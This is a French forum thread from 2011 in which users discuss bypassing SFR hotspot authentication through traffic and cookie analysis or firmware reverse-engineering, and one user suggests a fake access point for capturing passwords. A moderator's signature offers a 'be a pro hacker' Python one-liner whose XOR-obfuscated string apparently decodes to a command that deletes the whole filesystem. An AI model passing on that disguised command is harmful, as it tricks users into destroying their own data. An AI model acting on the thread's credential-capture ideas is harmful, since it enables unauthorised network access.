Enfin plusieurs questions qui me viennent à l'esprit donc plusieurs pistes au niveau de l’échange box-PC

Je me demandais si l'analyse des Cookies pourrais être intéressante? La limitation des "2 heures" est telle stockée sur un cookies? sur la box? obtenue grâce aux informations du bail de connexion données par le serveur DHCP de la box?

Cordialement

Hors Ligne

#7 28-11-2011 13:28:22

obt3n3bration
Membre Radioactif
Inscription : 11-03-2010
Messages : 69

Re : Sniff de mots de passe sfr.

kev671 a écrit :

Salut spawn.
Vois tu, je me suis posé aujourd'hui la même question que toi: Comment fonctionne l'authentification d'un hotspot SFR et est-elle "bypass-able"?, et en parcourant le net à la quête d'une réponse, je suis tombé sur ce topic. Je me suis donc inscrit et me voila smile

Pour le côté technique

L'analyse des flux entre la Neuf box et le pc me semble intéressante mais je serais plus partis sur un Reverse Engineering  du Firmware, notamment dans le sens où la Box a besoin d'avoir un accès, enfin je pense, à une base de données de personne identifiées. En effet, il me semble qu'il faille être client pour avoir droit à un accès hotspot, et un code est attribué

Je n'ai pas de système UNIX sous le main ce WE. Durant la semaine, je tenterai donc le DL du firmware officiel en me basant sur cette technique
Une fois récupérer, je m’attellerais au RE du FW et je te transmettrais un maximum d'information que je trouverais.

Sinon, de ton côté, as tu découvert de nouvelles choses?

Enfin plusieurs questions qui me viennent à l'esprit donc plusieurs pistes au niveau de l’échange box-PC

Je me demandais si l'analyse des Cookies pourrais être intéressante? La limitation des "2 heures" est telle stockée sur un cookies? sur la box? obtenue grâce aux informations du bail de connexion données par le serveur DHCP de la box?

Cordialement

loin  de vos  connaissances,  mais si  sa peut aider

il faut être chez sfr  et  tes log de connexion hotspot te sont attribué donc je pense  a la base de donné
pour la limite des 2h  je pense  que c est la box qui  gere

Hors Ligne

#8 30-11-2011 21:43:16

superbobo
Membre Indéboulonnable
Inscription : 15-11-2011
Messages : 139

Re : Sniff de mots de passe sfr.

Pour ton histoire de "sniff de mots de passe sfr", je crois qu'il est plus simple de passer par un fake ap. C'est hyper efficace !

Hors Ligne

#9 02-12-2011 08:50:03

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Sniff de mots de passe sfr.

oui, mais personnellement, je n'utilise pas la faille qui est entre la chaise et le clavier.

question de principes. smile


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.031 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]